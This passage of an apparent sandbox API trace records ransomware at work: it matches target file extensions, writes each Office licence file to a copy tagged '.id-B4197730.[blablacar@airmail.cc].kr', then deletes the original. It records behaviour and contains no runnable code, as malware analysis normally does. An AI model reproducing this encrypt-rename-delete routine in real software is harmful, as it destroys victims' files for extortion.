lpString2=".kr") returned 1 [0209.979] lstrlenW (lpString="OneNoteVL_KMS_Client-ppd.xrm-ms") returned 31 [0209.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.979] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6863) returned 1 [0209.979] CloseHandle (hObject=0x578) returned 1 [0209.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms")) returned 0x220 [0209.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.980] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.980] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0209.981] GetLastError () returned 0x0 [0209.981] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1acf, lpOverlapped=0x0) returned 1 [0209.983] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0209.984] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.984] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x112, lpOverlapped=0x0) returned 1 [0209.984] SetEndOfFile (hFile=0x3bc) returned 1 [0209.984] CloseHandle (hObject=0x3bc) returned 1 [0209.984] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.984] SetEndOfFile (hFile=0x578) returned 1 [0209.987] CloseHandle (hObject=0x578) returned 1 [0209.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms")) returned 1 [0209.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.988] lstrlenW (lpString=".doc") returned 4 [0209.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.988] lstrlenW (lpString=".docx") returned 5 [0209.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.988] lstrlenW (lpString=".pdf") returned 4 [0209.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.988] lstrlenW (lpString=".xls") returned 4 [0209.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.988] lstrlenW (lpString=".xlsx") returned 5 [0209.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.988] lstrlenW (lpString=".ppt") returned 4 [0209.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString=".zip") returned 4 [0209.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".rar") returned 4 [0209.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".bz2") returned 4 [0209.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".7z") returned 3 [0209.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString=".dbf") returned 4 [0209.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString=".1cd") returned 4 [0209.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString=".jpg") returned 4 [0209.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.989] lstrlenW (lpString=".doc") returned 4 [0209.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".docx") returned 5 [0209.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.989] lstrlenW (lpString=".pdf") returned 4 [0209.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".xls") returned 4 [0209.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.989] lstrlenW (lpString=".xlsx") returned 5 [0209.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.989] lstrlenW (lpString=".ppt") returned 4 [0209.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.990] lstrlenW (lpString=".zip") returned 4 [0209.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString=".rar") returned 4 [0209.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString=".bz2") returned 4 [0209.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString=".7z") returned 3 [0209.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.990] lstrlenW (lpString=".dbf") returned 4 [0209.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.990] lstrlenW (lpString=".1cd") returned 4 [0209.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81 [0209.990] lstrlenW (lpString=".jpg") returned 4 [0209.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.990] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.990] lstrlenW (lpString="OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 34 [0209.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.991] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11619) returned 1 [0209.991] CloseHandle (hObject=0x578) returned 1 [0209.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0209.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.991] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.992] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0209.993] GetLastError () returned 0x0 [0209.993] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0210.034] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0210.035] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.035] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0210.035] SetEndOfFile (hFile=0x3bc) returned 1 [0210.036] CloseHandle (hObject=0x3bc) returned 1 [0210.036] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.036] SetEndOfFile (hFile=0x578) returned 1 [0210.039] CloseHandle (hObject=0x578) returned 1 [0210.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms")) returned 1 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.041] lstrlenW (lpString=".doc") returned 4 [0210.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".docx") returned 5 [0210.041] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.041] lstrlenW (lpString=".pdf") returned 4 [0210.041] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".xls") returned 4 [0210.041] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".xlsx") returned 5 [0210.041] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.041] lstrlenW (lpString=".ppt") returned 4 [0210.041] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.041] lstrlenW (lpString=".zip") returned 4 [0210.041] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".rar") returned 4 [0210.041] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".bz2") returned 4 [0210.041] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString=".7z") returned 3 [0210.041] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.041] lstrlenW (lpString=".dbf") returned 4 [0210.041] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.041] lstrlenW (lpString=".1cd") returned 4 [0210.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString=".jpg") returned 4 [0210.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString=".doc") returned 4 [0210.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".docx") returned 5 [0210.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.042] lstrlenW (lpString=".pdf") returned 4 [0210.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".xls") returned 4 [0210.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".xlsx") returned 5 [0210.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.042] lstrlenW (lpString=".ppt") returned 4 [0210.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString=".zip") returned 4 [0210.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".rar") returned 4 [0210.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".bz2") returned 4 [0210.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString=".7z") returned 3 [0210.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString=".dbf") returned 4 [0210.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.042] lstrlenW (lpString=".1cd") returned 4 [0210.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0210.043] lstrlenW (lpString=".jpg") returned 4 [0210.043] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.043] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.043] lstrlenW (lpString="OneNoteVL_MAK-pl.xrm-ms") returned 23 [0210.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.044] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10627) returned 1 [0210.044] CloseHandle (hObject=0x578) returned 1 [0210.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms")) returned 0x220 [0210.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0210.044] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.044] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0210.045] GetLastError () returned 0x0 [0210.045] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2983, lpOverlapped=0x0) returned 1 [0210.302] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2990, lpOverlapped=0x0) returned 1 [0210.303] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.303] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x102, lpOverlapped=0x0) returned 1 [0210.303] SetEndOfFile (hFile=0x3bc) returned 1 [0210.303] CloseHandle (hObject=0x3bc) returned 1 [0210.303] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.303] SetEndOfFile (hFile=0x578) returned 1 [0210.306] CloseHandle (hObject=0x578) returned 1 [0210.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms")) returned 1 [0210.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.616] lstrlenW (lpString=".doc") returned 4 [0210.616] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".docx") returned 5 [0210.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.617] lstrlenW (lpString=".pdf") returned 4 [0210.617] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".xls") returned 4 [0210.617] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".xlsx") returned 5 [0210.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.617] lstrlenW (lpString=".ppt") returned 4 [0210.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString=".zip") returned 4 [0210.617] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".rar") returned 4 [0210.617] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".bz2") returned 4 [0210.617] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".7z") returned 3 [0210.617] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString=".dbf") returned 4 [0210.617] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString=".1cd") returned 4 [0210.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString=".jpg") returned 4 [0210.617] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.617] lstrlenW (lpString=".doc") returned 4 [0210.617] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.617] lstrlenW (lpString=".docx") returned 5 [0210.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.618] lstrlenW (lpString=".pdf") returned 4 [0210.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString=".xls") returned 4 [0210.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString=".xlsx") returned 5 [0210.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.618] lstrlenW (lpString=".ppt") returned 4 [0210.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.618] lstrlenW (lpString=".zip") returned 4 [0210.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString=".rar") returned 4 [0210.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString=".bz2") returned 4 [0210.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString=".7z") returned 3 [0210.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.618] lstrlenW (lpString=".dbf") returned 4 [0210.618] lstrcmpiW (lpString1=".dbf", 